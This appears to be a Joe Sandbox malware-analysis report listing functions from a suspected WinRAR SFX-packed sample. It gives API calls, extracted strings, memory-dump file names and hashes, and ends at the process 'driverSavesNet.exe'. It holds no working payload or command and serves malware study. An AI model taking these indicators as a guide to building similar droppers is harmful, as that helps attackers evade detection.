Opcode ID: bda03103ae6373f281a2568c2887c5c30f15ca35682b75acd875fc71eedbd73e
Instruction ID: 7a9b16da3d4864c3d38dfe8473317eabf1cf1f3dc0edfc316843e753b04a2873
Opcode Fuzzy Hash: bda03103ae6373f281a2568c2887c5c30f15ca35682b75acd875fc71eedbd73e
Instruction Fuzzy Hash: D951A272600212EFEB298F24D84DBAA77E5BF54310F24461DEC05476E2D739AD42D7A0

Function 006FFD10 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 006FFE48
_com_issue_error.COMSUPP ref: 006FFE52
_com_issue_error.COMSUPP ref: 006FFE6A
_com_issue_error.COMSUPP ref: 006FFE93

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 1bb3d53df37a86a5c3e56f3c34bbca07b3371f64c1bbe0a5abdb0c8e54fbc33d
Instruction ID: 28bbca6ba11c6d5fa4e3da6e0df9fe5f7aa79a70997baa110009dc7506f777ea
Opcode Fuzzy Hash: 1bb3d53df37a86a5c3e56f3c34bbca07b3371f64c1bbe0a5abdb0c8e54fbc33d
Instruction Fuzzy Hash: CA41A671A0021DFBD7109F68C845BFEBBAAEF48710F148239FA05E7391D778994087A5

Function 006FDC3B Relevance: 6.0, APIs: 4, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 006FDC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006FDC72
TranslateMessage.USER32(?), ref: 006FDC7C
DispatchMessageW.USER32(?), ref: 006FDC86

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: ae95208ce5b500629384028fbadb7e60f87a81e5f5f1f676cbf89c110a66bdaf
Instruction ID: cc1a9b0b94ee6ec41663165267d706bf12c9cf39afd3016b7fc4be45e9d8f719
Opcode Fuzzy Hash: ae95208ce5b500629384028fbadb7e60f87a81e5f5f1f676cbf89c110a66bdaf
Instruction Fuzzy Hash: 84F03171A0121DBBCB206BA5DC4CDDF7F7EEF46751B008121B60AE1060D778D645C7A4

Function 006F1FDD Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006F1FE5
_wcslen.LIBCMT ref: 006F1FF6
_wcslen.LIBCMT ref: 006F2006
_wcslen.LIBCMT ref: 006F2014

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 22af21f0f980581b669e899fec3eb6dae214b13a5d9bfa35c56d76fcc99df0f8
Instruction ID: 10ac0461c603f75de6e718c72ad87b81d36d30406b9251f1d21c8e63e954c825
Opcode Fuzzy Hash: 22af21f0f980581b669e899fec3eb6dae214b13a5d9bfa35c56d76fcc99df0f8
Instruction Fuzzy Hash: 89F01D37008018FBCF225F51EC09DDA7F6AEB44760B118555F61A5A1A1CB7296A1DB90

Function 006FA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006FA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 006FA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006FA683
ReleaseDC.USER32(00000000,00000000), ref: 006FA691

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: f6c241a35e57d5c607b30376ce076462f80bba63506027ca016bbb58cec5b31d
Instruction ID: 1e33032066a2f097848c0cf737725a9a229546f994827673349ce61f18d77ea5
Opcode Fuzzy Hash: f6c241a35e57d5c607b30376ce076462f80bba63506027ca016bbb58cec5b31d
Instruction Fuzzy Hash: 40E0E635942721A7D3615B60AC4DB8A3E55AB16B92F018302F609951A0DB7D45018B99

Function 006FD06A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 278COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 006FD11B

Strings

.lnk, xrefs: 006FD2F7, 006FD307
do, xrefs: 006FD3C5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcschr
String ID: .lnk$do
API String ID: 2691759472-2020495841
Opcode ID: 7d8da1ad289d1d41a21e02af377b8cf5f33000011ec48de98cd5969ee8aafd15
Instruction ID: 3d8dcc179326a8de9ba16696273e83cee263b0c95cf1ca6a971c74e22c190e3f
Opcode Fuzzy Hash: 7d8da1ad289d1d41a21e02af377b8cf5f33000011ec48de98cd5969ee8aafd15
Instruction Fuzzy Hash: AEA1777280122D9ADF24DBA0CD45EFA73FEAF44304F0845A6F609E7141EE74AB858F64

Function 006E9382 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E9387

Part of subcall function 006EC29A: _wcslen.LIBCMT ref: 006EC2A2

_swprintf.LIBCMT ref: 006E9465

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

Strings

rtmp%d, xrefs: 006E944E

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 1262143012-3303766350
Opcode ID: 1fd4fd4b04412f810f5bd5d6f1c735ccfa7c5992dac061593fe52014a9daa066
Instruction ID: 48f1b89f818e13eeec94b3b8b7dcdef57a49ae4555feab0751442c558db6d982
Opcode Fuzzy Hash: 1fd4fd4b04412f810f5bd5d6f1c735ccfa7c5992dac061593fe52014a9daa066
Instruction Fuzzy Hash: C041CC71902398A9DF61EB61CC45DEE737EAF45340F0048A9B649E3151DB388B8ACF74

Function 006EB37A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 006EB438
_wcschr.LIBVCRUNTIME ref: 006EB478

Strings

*, xrefs: 006EB38A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: f83bd740c6b818d08187533bd9d23e321acf7585553c8c4883ebd904a497e5d6
Instruction ID: 6632036f58aafea3e65d174ebf859ee2566ea0db8c8eff001355eb568dac70e3
Opcode Fuzzy Hash: f83bd740c6b818d08187533bd9d23e321acf7585553c8c4883ebd904a497e5d6
Instruction Fuzzy Hash: 89317C32106381DADB30AE578942AFB73EBDFD0B10F25A11EF984472CBE7658C469761

Function 006E7401 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E7406

Part of subcall function 006E3BBA: __EH_prolog.LIBCMT ref: 006E3BBF

Strings

SeSecurityPrivilege, xrefs: 006E744B
SeRestorePrivilege, xrefs: 006E7460

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3519838083-639343689
Opcode ID: c44387dedbe2b0015c9daf0b7fc984872cf1864732af0f1b25fb827cd268705a
Instruction ID: 7e8e9b79d26fc011f4ee092818ad4e26ab2f6c526cb2aec14fd31e020ac7db57
Opcode Fuzzy Hash: c44387dedbe2b0015c9daf0b7fc984872cf1864732af0f1b25fb827cd268705a
Instruction Fuzzy Hash: 933126B1D01388AADF61EBA5DC45BEE7BBBAF19304F044019F405A72D2DB388A44C764

Function 006FB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006FB4E3
_wcslen.LIBCMT ref: 006FB4FE

Strings

}, xrefs: 006FB4D6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 3214beea1765ab7518545c63234725502c494e8446686892e39d3f1485a9160d
Instruction ID: e1b24ab94b6a04e4900d5e6294db233fbcebbb9c8266b7d21b9d7e07353a96ef
Opcode Fuzzy Hash: 3214beea1765ab7518545c63234725502c494e8446686892e39d3f1485a9160d
Instruction Fuzzy Hash: D621D17290430E9AD731AE68D845EBAB3DEDF90750F04052AF640C3241EB69994883A6

Function 006ED8EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 006ED954

Strings

@%s, xrefs: 006ED93E
$%s, xrefs: 006ED949

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: __fprintf_l
String ID: $%s$@%s
API String ID: 3906573944-834177443
Opcode ID: 628dca4b46dc59794af740ef251c9ce7a48490c16925583e586baf2a763bd573
Instruction ID: fea175a188bd47d1b0fe564dc381b649d391b8ff88102ca47c764f9b93527b1e
Opcode Fuzzy Hash: 628dca4b46dc59794af740ef251c9ce7a48490c16925583e586baf2a763bd573
Instruction Fuzzy Hash: 9721907284138CEADF20EEA9CC45FEE7BA9AF05304F044126F910962A3E676D6598B51

Function 006FF462 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 006FF47E
___scrt_uninitialize_crt.LIBCMT ref: 006FF4C1

Strings

VPWh, xrefs: 006FF49D

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ___scrt_is_nonwritable_in_current_image___scrt_uninitialize_crt
String ID: VPWh
API String ID: 2554503057-353207083
Opcode ID: 9877c54b0c6949c2b20257cb969d197331d611b314b287ec98100a1ee326c47d
Instruction ID: 1fe421994925fe68173544685e7981de7221a506a493dcd0f34d8a06c47268af
Opcode Fuzzy Hash: 9877c54b0c6949c2b20257cb969d197331d611b314b287ec98100a1ee326c47d
Instruction Fuzzy Hash: B7F0D632A08369AADA347F789806FBE6BD79F81760F14053EF681672C6DE655C018158

Function 006FDB4B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006FDBAC

Strings

Software\WinRAR SFX, xrefs: 006FDB95
o, xrefs: 006FDB9F

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: Software\WinRAR SFX$o
API String ID: 176396367-1739704550
Opcode ID: 73508bded4a07b7f7afd7ee0a58e9e578edf4770fd3cc437c80ab847f95863ab
Instruction ID: 515a91d7826b628bb45be9942aa65ab62ca8990155e1c69414a0330f1106f3a2
Opcode Fuzzy Hash: 73508bded4a07b7f7afd7ee0a58e9e578edf4770fd3cc437c80ab847f95863ab
Instruction Fuzzy Hash: 60018F7150016CFAEB31AB95DC0AFEB7F7EEB05390F004056B609A10A0D7B49A88CBA1

Function 006FAE2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 006EC29A: _wcslen.LIBCMT ref: 006EC2A2

Part of subcall function 006F1FDD: _wcslen.LIBCMT ref: 006F1FE5
Part of subcall function 006F1FDD: _wcslen.LIBCMT ref: 006F1FF6
Part of subcall function 006F1FDD: _wcslen.LIBCMT ref: 006F2006
Part of subcall function 006F1FDD: _wcslen.LIBCMT ref: 006F2014

Part of subcall function 006FAC04: SetCurrentDirectoryW.KERNELBASE(?), ref: 006FAC08

_wcslen.LIBCMT ref: 006FAE8B

Strings

<o, xrefs: 006FAEC4
C:\Users\user\Desktop, xrefs: 006FAE68

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: <o$C:\Users\user\Desktop
API String ID: 3341907918-1739224668
Opcode ID: 022938f33418ebe2cea567cdd203cf929bab0d54f6f1c277172949cf65e41802
Instruction ID: 61bbd86cb9c398310cfec0c5b8f5915e4ae201056eb06f2a56a0e9bb909b855e
Opcode Fuzzy Hash: 022938f33418ebe2cea567cdd203cf929bab0d54f6f1c277172949cf65e41802
Instruction Fuzzy Hash: 8C0152B1D0025D95DF50ABA4ED0ADEF76FDAF08300F00445AF705E3191E6B89644CAA9

Function 006FB425 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 006FB42F

Strings

Zo, xrefs: 006FB441
(o, xrefs: 006FB457

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Malloc
String ID: (o$Zo
API String ID: 2696272793-336047489
Opcode ID: 29ddadf3015f8543c8901b1caef0649ee5dd460ec123102e6a8d0c6ce8db287b
Instruction ID: 341c51aeff5443a6da05d5b24fd162c1f4edb6ce2fbf1ab0332853772c58d8ea
Opcode Fuzzy Hash: 29ddadf3015f8543c8901b1caef0649ee5dd460ec123102e6a8d0c6ce8db287b
Instruction Fuzzy Hash: 6D016D7A640108FF9F059FB0DD49CEE7BAEFF053447104156B906D7120E735AA44DBA4

Analysis Process: driverSavesNet.exePID: 7840, Parent PID: 7796COMMON

Executed Functions

Function 00007FFD9BA90D48 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

5\_H, xrefs: 00007FFD9BA90DF3

